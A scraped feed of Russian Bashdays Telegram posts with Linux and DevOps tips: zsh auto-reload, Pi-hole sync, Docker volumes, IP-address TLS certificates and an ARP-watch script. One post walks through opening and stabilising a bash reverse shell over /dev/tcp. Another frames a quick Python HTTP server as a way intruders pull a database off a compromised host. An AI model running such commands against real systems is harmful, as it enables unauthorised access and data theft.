Bash, Devops и Linux это конечно замечательно…
Хотел тебе сегодня про «Симулятор айтишника» рассказать, но по РФ законам такой контент оказывается запрещен. Облом.
Приведу лишь цитату из описания:
Если гуглить умеешь, сам найдешь всё необходимое. Дерзай. SIMS на максималках.
🛠 #linux #games #debug
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Хотел тебе сегодня про «Симулятор айтишника» рассказать, но по РФ законам такой контент оказывается запрещен. Облом.
Приведу лишь цитату из описания:
Добро пожаловать в третью часть лучшего симулятора. Наслаждайтесь незабываемыми ощущениями, воплощая в жизнь свои фантазии и получая при этом деньги на обустройство дома и своей жизни.
Если гуглить умеешь, сам найдешь всё необходимое. Дерзай. SIMS на максималках.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 23
Привет, сегодня будем учить zsh автоматически перечитывать конфиг после изменения.
ㅤ
Каждый раз заёбисто делать
Поэтому открываем
Теперь после каждого изменения файла
Как это работает:
Нюанс:
Проблема в том, что zsh -n проверяет только синтаксис (скобки, конструкции), но не выполнение команд. Имей это ввиду.
Если сделать так:
То всё пройдёт замечательно. Ну ты понял к чему я клоню.
Тема прикольная, экспериментируй.
🛠 #bash #linux #shell
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Каждый раз заёбисто делать
source ~/.zhsrc после очередных изменений, да и плагинов я актуальных найти так и не смог.По-хорошему можно было бы и плагин для сообщества накидать, но я ленивая скотина и обошелся Bash скриптом.
Поэтому открываем
~/.zshrc и пихаем в него такое:ZSH_LAST_MOD=$(stat -c %Y ~/.zshrc 2>/dev/null || stat -f %m ~/.zshrc)
precmd() {
local new_mod=$(stat -c %Y ~/.zshrc 2>/dev/null || stat -f %m ~/.zshrc)
if [[ $new_mod != $ZSH_LAST_MOD ]]; then
if zsh -n ~/.zshrc; then
source ~/.zshrc
ZSH_LAST_MOD=$new_mod
echo "🔄 .zshrc auto-reloaded (OK)"
else
echo "⚠️ .zshrc has syntax errors — reload skipped"
fi
fi
}
Теперь после каждого изменения файла
~/.zshrc конфиг будет автоматически перечитан. НО перечитан он будет только после проверки, если ты своими кривыми руками где-то накосорезил — идешь нахуй. Логично? Логично!Как это работает:
1. Сохраняет timestamp последней модификации .zshrc
2. precmd() — специальная функция zsh, которая автоматически вызывается перед каждым выводом prompt (после любой команды или Enter). Вызывается незаметно, идеально для фоновых проверок без вмешательства в работу.
3. Дальше логика, сравнивает timestamps — если .zshrc отредактирован и сохранен, переходит к проверке.
4. zsh -n файл — проверяет синтаксис без выполнения (no-execute mode). Возвращает 0 при успехе, > 0 при ошибках (дубликаты, незакрытые скобки и т.п.).
5. Ну а дальше сообщает тебе, все ок или идешь нахуй.
Нюанс:
echo 'syntax error' >> ~/.zshrc
/home/user/.zshrc:226: command not found: syntax
🔄 .zshrc auto-reloaded (OK)
Проблема в том, что zsh -n проверяет только синтаксис (скобки, конструкции), но не выполнение команд. Имей это ввиду.
Если сделать так:
echo '# syntax error' >> ~/.zshrc
🔄 .zshrc auto-reloaded (OK)
То всё пройдёт замечательно. Ну ты понял к чему я клоню.
Тема прикольная, экспериментируй.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 46
Синхронизируем настройки Pi-Hole между инстансами.
ㅤ
У меня в сети живет несколько нод с pi-hole, которые раскиданы по разным устройствам (proxmox, raspberry pi и т.п.). И сразу встала необходимость, чтобы все ноды с pi-hole имели одинаковые настройки.
Стратегия такая, одна нода будет master, где производятся все основное настройки, затем все эти настройки раскатываются на другие ноды (slave).
Раньше такой кейс разруливали с помощью Orbital Sync, Nebula Sync и т.п. Но одно сдохло, другое работает через хуй-пизда-копыто. Короче нужно рабочее решение.
Пишем свой велосипед
В
Сохраняем, чмодим, кидаем в крон (а лучше в systemd с таймерами):
Не забываем прокинуть ssh ключи с master на slave, чтобы скрипт не уперся рогом в логин и пароль.
Вроде мелочь, а полезная, да еще и на bash. Хороших тебе предстоящих выходных и береги себя!
🛠 #bash #linux #devops #selfhosting
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
У меня в сети живет несколько нод с pi-hole, которые раскиданы по разным устройствам (proxmox, raspberry pi и т.п.). И сразу встала необходимость, чтобы все ноды с pi-hole имели одинаковые настройки.
Pi-hole — это сетевой DNS‑фильтр и блокировщик рекламы с открытым исходным кодом. Он работает как свой DNS‑сервер, перехватывает DNS‑запросы от устройств в локальной сети и блокирует домены из списков рекламы, трекеров и вредоносных сайтов, возвращая «пустой» ответ вместо IP‑адреса рекламного ресурса.
Стратегия такая, одна нода будет master, где производятся все основное настройки, затем все эти настройки раскатываются на другие ноды (slave).
Раньше такой кейс разруливали с помощью Orbital Sync, Nebula Sync и т.п. Но одно сдохло, другое работает через хуй-пизда-копыто. Короче нужно рабочее решение.
Пишем свой велосипед
#!/usr/bin/env bash
set -euo pipefail
PRIMARY_PIH_DIR="/etc/pihole"
SECONDARY_USER="root"
SECONDARY_PIH_DIR="/etc/pihole"
SECONDARY_HOSTS=(
"192.168.10.97"
"192.168.10.98"
"192.168.10.99"
)
RSYNC_EXCLUDES=(
"--exclude=pihole-FTL.db"
"--exclude=macvendor.db"
"--exclude=*.log"
)
echo "[pihole-sync] $(date): start"
for host in "${SECONDARY_HOSTS[@]}"; do
echo "[pihole-sync] ---- host ${host} ----"
rsync -az \
"${RSYNC_EXCLUDES[@]}" \
"${PRIMARY_PIH_DIR}/" \
"${SECONDARY_USER}@${host}:${SECONDARY_PIH_DIR}/"
echo "[pihole-sync] ${host}: restart dns"
ssh "${SECONDARY_USER}@${host}" "pihole restartdns >/dev/null 2>&1" || \
echo "[pihole-sync] ${host}: FAILED to restart dns"
done
echo "[pihole-sync] $(date): done"
В
SECONDARY_HOSTS забиваем айпишники slave инстансов, этакий массив. На этом настройка скрипта закончена. Весь лишний мусор вроде логов и статистики синхронизироваться не будет.Сохраняем, чмодим, кидаем в крон (а лучше в systemd с таймерами):
Про таймеры подробно писал тут и тут.
crontab -e
*/5 * * * * /usr/local/sbin/pihole-sync.sh >> /var/log/pihole-sync.log 2>&1
Не забываем прокинуть ssh ключи с master на slave, чтобы скрипт не уперся рогом в логин и пароль.
Вроде мелочь, а полезная, да еще и на bash. Хороших тебе предстоящих выходных и береги себя!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 32
Volume VS Bind в Docker
Сегодня рассмотрим, как и в каких случаях правильно использовать bind или volume при запуске docker контейнеров.
Пересмотрев кучу docker compose файлов, можно сделать вывод — большинство даж не понимают что они делают. Что печально, прожжённые девопс-инженеры продолжают харкодить и творить дичь. Видимо придерживаются методологии — у меня работает, остальное похуй.
Вообще есть правило:
- Если нужно редактировать файлы руками с хоста, используешь Bind Mount.
- Если данные нужны только приложению (БД, логи, кэш) используешь Volumes.
ㅤ
Шпаргалка, что есть что:
Ну и никто не запрещает это совмещать, но старайся разделять. Тем более при работе с volumes, в docker есть удобные команды, ну и через midnight commander можешь физически потыкать файлы, при условии если есть рутовый доступ к файловой системе.
Самое главное не делай так:
Про этот случай я и писал в начале поста, вроде человек 20 лет отрубил в айтишке, а пишет хуйню.
Тут идет жесткая привязка к путям и после запуска наступишь на грабли, либо получишь по ебалу от бедолаги который это запустит. Короче так не делай!
Bind mount удобен при разработке и отладки. Ты монтируешь папку с исходным кодом проекта. Правишь код в IDE на хосте и изменения мгновенно подхватываются приложением внутри контейнера.
А еще есть полезный флаг: «RO», используется в ситуациях, когда тебе нужно что-бы приложение в контейнере не перезаписывало данные в примонтированном каталоге. Удобно для отладки или для каких-то ограничений.
Пример:
При всём желании, конфиг
Ну и пожелания:
- Используйте именованные тома, вместо анонимных томов (которые выглядят как длинный хеш
- Придерживайся принципа - «Один контейнер — один вольюм». Старайтесь не монтировать один и тот же вольюм в 10 разных контейнеров на запись. Если нужно делиться данными, один контейнер должен быть «владельцем» (RW), а остальные — «потребителями» (RO).
- Бэкап: Правило «3-2-1». Volume — это не бэкап, это просто место хранения. Если ты случайно ёбнешь вольюм командой
Используйте временный контейнер для создания архива:
- Docker со временем накапливает «висячие» (dangling) вольюмы — это те, что остались от удаленных контейнеров. Периодически запускай
- Разницы в скорости между Bind и Volume почти нет, оба работают напрямую через ядро. Но это зависит от операционной системы, если у тебя винда и 100500 абстракций, то будут тормоза.
Вот такие пироги, если есть чё добавить, жду тебя в комментариях.
🛠 #docker #linux #devops
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Сегодня рассмотрим, как и в каких случаях правильно использовать bind или volume при запуске docker контейнеров.
Пересмотрев кучу docker compose файлов, можно сделать вывод — большинство даж не понимают что они делают. Что печально, прожжённые девопс-инженеры продолжают харкодить и творить дичь. Видимо придерживаются методологии — у меня работает, остальное похуй.
Вообще есть правило:
- Если нужно редактировать файлы руками с хоста, используешь Bind Mount.
- Если данные нужны только приложению (БД, логи, кэш) используешь Volumes.
ㅤ
Шпаргалка, что есть что:
# Это docker volume, данные хранятся в
# /var/lib/docker/volumes/
volumes:
- nginx_data:/etc/data
# Это bind mount, данные хранятся рядом
# с файлом docker-compose.yml
volumes:
- ./data:/etc/data
Ну и никто не запрещает это совмещать, но старайся разделять. Тем более при работе с volumes, в docker есть удобные команды, ну и через midnight commander можешь физически потыкать файлы, при условии если есть рутовый доступ к файловой системе.
Самое главное не делай так:
Про этот случай я и писал в начале поста, вроде человек 20 лет отрубил в айтишке, а пишет хуйню.
volumes:
- /home/anus/conf.d:/etc/nginx/cond.f
- /home/anus/data/logs:/var/log/nginx
Тут идет жесткая привязка к путям и после запуска наступишь на грабли, либо получишь по ебалу от бедолаги который это запустит. Короче так не делай!
Я лично предпочитаю volumes и порой даже конфиги в нем храню, потому что этот volume можно легко примаунтить к любому другому контейнеру и получить доступ к этим файлам.
Банально возьмем связку nginx + php-fpm, используем один общий volume и php скрипты корректно выполняются.
Bind mount удобен при разработке и отладки. Ты монтируешь папку с исходным кодом проекта. Правишь код в IDE на хосте и изменения мгновенно подхватываются приложением внутри контейнера.
А еще есть полезный флаг: «RO», используется в ситуациях, когда тебе нужно что-бы приложение в контейнере не перезаписывало данные в примонтированном каталоге. Удобно для отладки или для каких-то ограничений.
Пример:
services:
web:
image: nginx:alpine
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
- ./logs:/var/log/nginx
При всём желании, конфиг
nginx.conf нельзя модифицировать из приложения в контейнере. Это можно сделать только на хостовой машине. Второй же bind mount по умолчанию - «RW».Ну и пожелания:
- Используйте именованные тома, вместо анонимных томов (которые выглядят как длинный хеш
4f32a...) всегда давайте томам осмысленные имена: db_data, app_uploads- Придерживайся принципа - «Один контейнер — один вольюм». Старайтесь не монтировать один и тот же вольюм в 10 разных контейнеров на запись. Если нужно делиться данными, один контейнер должен быть «владельцем» (RW), а остальные — «потребителями» (RO).
- Бэкап: Правило «3-2-1». Volume — это не бэкап, это просто место хранения. Если ты случайно ёбнешь вольюм командой
prune, данные исчезнут.Используйте временный контейнер для создания архива:
docker run --rm -v db_data:/data -v $(pwd):/backup busybox tar cvf /backup/backup.tar /data
- Docker со временем накапливает «висячие» (dangling) вольюмы — это те, что остались от удаленных контейнеров. Периодически запускай
docker volume prune. Оно удалит только те тома, которые не подключены ни к одному контейнеру (включая остановленные).- Разницы в скорости между Bind и Volume почти нет, оба работают напрямую через ядро. Но это зависит от операционной системы, если у тебя винда и 100500 абстракций, то будут тормоза.
Вот такие пироги, если есть чё добавить, жду тебя в комментариях.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
6 65
Ну началось…
ㅤ
Нашел я тебе тут новейший браузер для терминала. Причем не огрызок ебаный вроде
Называется это чудо Brow6el, из пакетов ты его не поставишь, потому что разрабатывает его гикнутый профессор, соответственно тебе придется собрать его самому из исходников.
Благо товарищ побеспокоился об ущербных и дал нам Bash скрипты для билда.
Поехали собирать:
Готово! Теперь запускаем:
Как это работает?
В основе лежит Chromium Embedded Framework (CEF), который рендерит страницы без графического интерфейса. Затем Brow6el преобразует полученное изображение в sixel-графику — формат, который поддерживают многие терминалы. В результате браузер выводит картинку в терминал и обновляет её в реальном времени.
Функции:
- поддержка мыши и клавиатуры
- обычный ввод и прокрутка
- вкладки
- менеджер загрузок
- система закладок
- приватный режим
- JavaScript-консоль
- внедрять скрипты по шаблону URL
Фича: ввод мыши возможен как с реальной мыши, так и через виртуальную мышь, управляемую клавиатурой, что позволяет работать даже если у тебя отсутствует мышь.
Возможно тебе сгодится для тайлинга или чего-то еще. Забирай в копилку.
🛠 #utilites #linux #terminal
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Нашел я тебе тут новейший браузер для терминала. Причем не огрызок ебаный вроде
lynx, а прям полноценный, с поддержкой графики, скриптов и со всеми современными технологиями.Называется это чудо Brow6el, из пакетов ты его не поставишь, потому что разрабатывает его гикнутый профессор, соответственно тебе придется собрать его самому из исходников.
Благо товарищ побеспокоился об ущербных и дал нам Bash скрипты для билда.
Поехали собирать:
git clone https://codeberg.org/janantos/brow6el.git
sudo apt install build-essential cmake gitlibsixel-dev libgtk-3-dev libx11-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev libglib2.0-dev
cd /tmp/brow6el
chmod +x download_cef.sh
./download_cef.sh
mkdir -p build
cd build
cmake ..
make -j$(nproc)
Готово! Теперь запускаем:
cd build
./run_brow6el.sh https://linuxfactory.ru
Как это работает?
В основе лежит Chromium Embedded Framework (CEF), который рендерит страницы без графического интерфейса. Затем Brow6el преобразует полученное изображение в sixel-графику — формат, который поддерживают многие терминалы. В результате браузер выводит картинку в терминал и обновляет её в реальном времени.
Функции:
- поддержка мыши и клавиатуры
- обычный ввод и прокрутка
- вкладки
- менеджер загрузок
- система закладок
- приватный режим
- JavaScript-консоль
- внедрять скрипты по шаблону URL
Фича: ввод мыши возможен как с реальной мыши, так и через виртуальную мышь, управляемую клавиатурой, что позволяет работать даже если у тебя отсутствует мышь.
Короче забавная штука, пользоваться я этим говнищем не буду, но как концепт потыкать вполне себе достойно.
Возможно тебе сгодится для тайлинга или чего-то еще. Забирай в копилку.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
6 79
Стабилизация реверс-шелла
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ㅤ
Для начала на своей машине запускаем:
Этой командой мы откроем порт
Теперь на подопытной машине запускаем:
Возвращаемся на свою машину и видим, что коннект произошел:
Отлично. Пробуем нажать
Стабилизируем shell
Отправляем консоль в бекграунд, нажимаем
Возвращаемся:
Нажимаем:
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:
- Практикуем reverse-shells
- Генератор reverse-shells
🛠 #security #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ㅤ
Для начала на своей машине запускаем:
nc -lvnp 2288
Этой командой мы откроем порт
2288 на прослушивание, будем ждать входящее соединение. IP этой машины у меня 192.168.10.24.Теперь на подопытной машине запускаем:
/bin/bash -i >& /dev/tcp/192.168.10.24/2288 0>&1
Возвращаемся на свою машину и видим, что коннект произошел:
root@n8n:~# nc -lvnp 2288
Listening on 0.0.0.0 2288
Connection received on 192.168.10.31 47504
root@onlyoffice:~#
Отлично. Пробуем нажать
CTRL+L, для очистки экрана. Ага, хуй там плавал, видим только, что выводятся управляемые символы L^, аналогично не получится нажать CTRL+C и т.п.Стабилизируем shell
script /dev/null -c /bin/bash
Отправляем консоль в бекграунд, нажимаем
CTRL+Zroot@onlyoffice:~# ^Z
[1]+ Stopped nc -lvnp 2288
Возвращаемся:
stty raw -echo; fg
Нажимаем:
ENTERexport TERM=xterm
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:
- Практикуем reverse-shells
- Генератор reverse-shells
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 66
Многих эта тема обошла стороной, дело привычки берет своё.
ㅤ
Я про
Современный docker давно перешел на
Теперь docker в приоритете ищет файл
Наверное ты уже замечал, что если в
Это нужно было указывать раньше, чтобы docker понимал какие поля разрешены и как вообще интерпретировать файл. Теперь это легаси и docker автоматически определяет версию, чтобы избавиться от зоопарка версий: v2, v2, v3.7, v3.9. Получаем один формат → одна логика → меньше гемора.
Но опять же если у тебя древняя ОС, выбора особо не будет, придется прописывать версии и поддерживать это наследие.
Пример с version или подстава. Создавалась это не для docker compose, а для docker swarm. В
Хм… 512 говоришь, хуй те! Эй OOM давай к нам, у нас тут пациент!
Ну и про
На сколько помню
Возможно ошибаюсь, поправьте в комментах.
🛠 #docker #linux #devops
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Я про
docker-compose.yaml. Так вот, в современных дистрибутивах не обязательно называть так файл, достаточно обозвать его compose.yaml и всё будет работать. Но при условии если у тебя не допотопная ОС со старой версией docker’a.Современный docker давно перешел на
compose.yaml. docker-compose — это отдельный python-инструмент
docker compose — встроенный плагин docker cli
Теперь docker в приоритете ищет файл
compose.yaml и только потом старый docker-compose.yaml. И так и так все будет работать. Оно пока на это не ругается, но рано или поздно к этому придут. Наверное ты уже замечал, что если в
yaml указать version: 3.9 оно скажет — ты ебанутый? Я пожалуй это проигнорирую.Это нужно было указывать раньше, чтобы docker понимал какие поля разрешены и как вообще интерпретировать файл. Теперь это легаси и docker автоматически определяет версию, чтобы избавиться от зоопарка версий: v2, v2, v3.7, v3.9. Получаем один формат → одна логика → меньше гемора.
Кстати аналогичная хуйня в кубере, где версию апихи указываешь в манифестах. Если ты не знаешь как с этим работать, будет тебе боль и страдания. За эту тему поговорим отдельно.
Но опять же если у тебя древняя ОС, выбора особо не будет, придется прописывать версии и поддерживать это наследие.
Пример с version или подстава. Создавалась это не для docker compose, а для docker swarm. В
version:3 Docker Compose просто молча игнорировал: mem_limit, cpu_shares, cpus, restart_policy, depends_on. Не было ни ошибок, ни предупреждений. Просто ничего не происходило. Контейнер запускался, но не как ожидалось.version: "3"
mem_limit: 512m
Хм… 512 говоришь, хуй те! Эй OOM давай к нам, у нас тут пациент!
version:3 — Swarm-спекаНу и про
yaml и yml пару строк. Можно писать так и так, оба варианта равноправны. Но всё же рекомендуется yaml, потому что это полное официальное расширение, так пишется в спецификациях и документациях. Плюсом это единый стиль Kubernetes, GitHub Actions, Helm и т.п.На сколько помню
yml пошел со старых систем, когда было ограничение в 3 символа, опять же наследие прошлого. Возможно ошибаюсь, поправьте в комментах.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 61
Как быстро скачать файл с сервера
ㅤ
Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.
Из ситуации можно выйти проще.
Заходим в любую папку с файлами и запускаем:
Если питон старый, потрёпанный и сморщенный как хуй, делаем так:
Затем курлим файл и скачиваем его к себе на машину:
А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.
Еще бывают случаи когда
Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!
🛠 #security #linux #tricks
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.
Из ситуации можно выйти проще.
Этот способ в основном используют спец-люди, которые в результате blackbox вектора проникли на север и им нужно утащить жирненькую базу данных. Всё элементарно.
Заходим в любую папку с файлами и запускаем:
python -m http.server 2977
Если питон старый, потрёпанный и сморщенный как хуй, делаем так:
python -m SimpleHTTPServer 2977
Затем курлим файл и скачиваем его к себе на машину:
curl -O http://linuxfactory.ru:2977/bashdays_db.zip
А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.
Еще бывают случаи когда
curl не установлен, но wget есть из коробки:wget -O bashdays_db.zip http://linuxfactory.ru:2977/bashdays_db.zip
Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 86
Получаем SSL сертификат на IP адрес.
ㅤ
Вот и случилось, теперь ты можешь сгенерить валидный SSL сертификат для айпишника. Не самоподписанный, а прям настоящий от Lets Encrypt.
Единственный момент, такой серт будет валиден несколько дней (160 часов), поэтому придется почаще его выпускать, сейчас ставят 5 дней для обновления, как золотую середину. НЕ рекомендуется ставить 6, иначе можешь словить граблю. Вообще acme сам всё в кроне должен прописать, но это не точно.
Пока это может делать только acme, все остальные (certbot, angie) совсем скоро к этому придут.
Да, для домаших айпишников увы, такая чача не проканает, при попытке получить такой серт, получаем ошибку:
Ну оно и логично, спецификации никто не отменял.
Я буду генерить для
Приступим:
Не забудь подставить своё мыло, а то меня спамом завалит и я буду материться на кота.
Конфигурируем
Создаем структуру папок и релоадим:
Выписываемпиздюлей сертификат:
Отлично, сертификат получили, устанавливаем:
Добавляем дополнительный блок в
Перезапускаем:
И радуемся, теперь у тебя есть валидный SSL на голом айпишнике:
Дело в шляпе, что сказать? Пиздато! Порой ОЧЕНЬ не хочется привязывать домен, чтобы обзавестись SSL сертификатом, теперь выход есть. Глядишь найдется хак, чтобы сгенерить подобное для 192.168.0.1, но наверное это из оперы моих влажных фантазий.
🛠 #linux #devops #ssl
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Вот и случилось, теперь ты можешь сгенерить валидный SSL сертификат для айпишника. Не самоподписанный, а прям настоящий от Lets Encrypt.
Не путать с mkcert, это совсем другое.
Единственный момент, такой серт будет валиден несколько дней (160 часов), поэтому придется почаще его выпускать, сейчас ставят 5 дней для обновления, как золотую середину. НЕ рекомендуется ставить 6, иначе можешь словить граблю. Вообще acme сам всё в кроне должен прописать, но это не точно.
Пока это может делать только acme, все остальные (certbot, angie) совсем скоро к этому придут.
Да, для домаших айпишников увы, такая чача не проканает, при попытке получить такой серт, получаем ошибку:
Cannot issue for \"192.168.10.91\": IP address is in a reserved address block: [RFC1918]: Private-Use"
Ну оно и логично, спецификации никто не отменял.
Я буду генерить для
178.72.129.181 на котором у меня установлен nginx. Виртуалка прерываемая, так что денег практически не жрет, для тестов в настоящем облаке — милое дело.Приступим:
Не забудь подставить своё мыло, а то меня спамом завалит и я буду материться на кота.
curl https://get.acme.sh | sh -s email=shubkin@bashdayz.ru
Конфигурируем
default в nginx:server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
location ~ ^/.well-known/(acme-challenge|pki-validation)/ {
add_header Content-Type text/plain;
root /var/www/letsencrypt;
}
location / {
return 301 https://$host$request_uri;
}
}Создаем структуру папок и релоадим:
mkdir -p /var/www/letsencrypt
mkdir -p /etc/nginx/ssl
nginx -t
nginx -s reload
Выписываем
acme.sh --issue --server letsencrypt -d 178.72.129.181 -w /var/www/letsencrypt --certificate-profile shortlived --days 3
Отлично, сертификат получили, устанавливаем:
acme.sh --install-cert -d 178.72.129.181 --key-file /etc/nginx/ssl/ip.key --fullchain-file /etc/nginx/ssl/ip.crt --ca-file /etc/nginx/ssl/ip.ca.crt --reloadcmd "systemctl restart nginx"
Добавляем дополнительный блок в
default в nginx:server {
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
server_name _;
return 403;
ssl_certificate /etc/nginx/ssl/ip.crt;
ssl_certificate_key /etc/nginx/ssl/ip.key;
}Перезапускаем:
nginx -t
nginx -s reload
И радуемся, теперь у тебя есть валидный SSL на голом айпишнике:
Общее имя (ЦС) YE1
Организация Let's Encrypt
Дата выдачи: 29 января 2026 г.
Срок действия: 5 февраля 2026 г.
Дело в шляпе, что сказать? Пиздато! Порой ОЧЕНЬ не хочется привязывать домен, чтобы обзавестись SSL сертификатом, теперь выход есть. Глядишь найдется хак, чтобы сгенерить подобное для 192.168.0.1, но наверное это из оперы моих влажных фантазий.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
12 47
Я тут недавно на новогодние праздники затеял переезд на новый периметровый маршрутизатор. Раньше я использовал pfSense, но с недавнего времени он перестал обновляться. Да и скачать его проблематично. В общем решил переехать на opnSense.
🔤 🔤 🔤 🔤 🔤 🔤 🔤
Сразу скажу, что это уже вторая попытка. Первая попытка провалилась из-за регулярных падений и отваливая интернета.
Доходило до того, что пришлось ставить еженочную перезагрузку. Но, скорее всего это была вина не opnSense, а железа. Машина была старая, память не ECCшная. И вот теперь попытка номер два. На мой взгляд довольно успешная.
ㅤ
Все работает, как часы. На мой взгляд - интерфейс гораздо удобнее, чем у pfSense. Логичнее, что ли. Я не использую его на всю катушку - так, несколько WAN, LAN, DMZ и WI_FI. Все разведено физически, без VLAN.
Единственный затык был с настройкой DHCP. Я так и не понял, зачем туда воткнули три DHCP сервера (Dnsmasq, ISC DHCP, KEA DHCP) Может старшие товарищи объяснят. Немного пободавшись, я решил использовать Dnsmasq.
В общем, переезд прошел удачно. opnSense понравился. На мой взгляд, вполне можно использовать так замену pfSense.
Как установить arpwatch я не нашел, поэтому по традиции написал простенький csh-скрипт для оповещения появления в сети новых связок IP+mac.
Но это в следующий раз. Всем стабильных сетей.
🛠 #networks #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Сразу скажу, что это уже вторая попытка. Первая попытка провалилась из-за регулярных падений и отваливая интернета.
Доходило до того, что пришлось ставить еженочную перезагрузку. Но, скорее всего это была вина не opnSense, а железа. Машина была старая, память не ECCшная. И вот теперь попытка номер два. На мой взгляд довольно успешная.
ㅤ
Все работает, как часы. На мой взгляд - интерфейс гораздо удобнее, чем у pfSense. Логичнее, что ли. Я не использую его на всю катушку - так, несколько WAN, LAN, DMZ и WI_FI. Все разведено физически, без VLAN.
Единственный затык был с настройкой DHCP. Я так и не понял, зачем туда воткнули три DHCP сервера (Dnsmasq, ISC DHCP, KEA DHCP) Может старшие товарищи объяснят. Немного пободавшись, я решил использовать Dnsmasq.
В общем, переезд прошел удачно. opnSense понравился. На мой взгляд, вполне можно использовать так замену pfSense.
Как установить arpwatch я не нашел, поэтому по традиции написал простенький csh-скрипт для оповещения появления в сети новых связок IP+mac.
Но это в следующий раз. Всем стабильных сетей.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
В общем, поставил я себе opnSense и захотелось знать, не гуляют ли у меня в сети какие-нибудь «призраки». Решил написать скрипт для контроля связки IP-mac.
🔤 🔤 🔤 🔤 🔤 🔤 🔤
У меня три подсети
ㅤ
И да, у меня там статика. Есть конечно и DHCP, но буквально на пару адресов, на всякий случай.
Скрипт пришлось разбить на две части, потому что у csh не очень красивые переносы очень длинных строк.
Этот скрипт сравнивает значения текущих IP и mac, со значениями, сохраненными в файле
Если появилась новая связка — отправляется сообщение в телеграм о ВРЕМЕНИ появления(контроля) новых данных в формате UNIXTIME, и новая связка IP-MAC сразу дописываются в справочник spr.
Сами данные в телегу не отправляются — чтобы узнать, что появилось, придется залезть на машину и посмотреть grep/tail. Сделано это специально, чтобы лишний раз не светить инфраструктуру.
Ставим его на cron
Основная часть на awk.
1. Анализируем только строки, в которых есть mac.
2. Файлы справочника и вывод arp разделяем по числу полей (в справочнике их три: unixtime ip mac).
3. Из вывода arp убираем все, что не относится к подсетям DMZ и LAN.
4. Тупо сравниваем связки каждый с каждым. (осторожно на больших подсетях, поскольку N^2).
5. Если что-то нашлось - errorlevel=1.
Все можно было бы сделать быстрее и проще, но очень хотелось:
6. Отказаться от временных файлов.(в opnSense нет /dev/shm).
7. Данные дописываются в тот же справочник, из которого читаются. Это можно сделать, потому что на момент анализа (блок END) данные из справочника уже считаны и файл закрыт.
Вопросы и предложения приветствуются.
В следующей статье попробую описать впечатления и с какими проблемами пришлось столкнуться.
UPD: В комментах скрипт на sh
🛠 #networks #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Первая часть тут: https://xn--r1a.website/bashdays/1356
У меня три подсети
192.168.0.0 = DMZ 192.168.1.0 = LAN, 192.168.2.0 = WIFI. Что творится в сети WIFI, меня не очень интересует, поскольку доступа из неё нет не только к LAN, но и к DMZ. Поэтому наблюдать будем две последние.ㅤ
И да, у меня там статика. Есть конечно и DHCP, но буквально на пару адресов, на всякий случай.
Скрипт пришлось разбить на две части, потому что у csh не очень красивые переносы очень длинных строк.
#!/bin/csh
#checkarp.sh
set dt=`date "+%s"`
set bot_id=0000000000:AAAAAAAAA1_aaaaaaaaaaaaaaaaaaaaaaa1
set chat_id=1111111111
set text="GATE: Есть изменения arp $dt"
arp -an| \
awk -v dt=$dt -f "$0.awk" /dev/stdin "$0.spr" >>"$0.spr"
if ( $status != 0 ) then
curl -s -X POST https://api.telegram.org/bot$bot_id/sendMessage \
-F chat_id="$chat_id" -F text="$text" >/dev/null
endif
Этот скрипт сравнивает значения текущих IP и mac, со значениями, сохраненными в файле
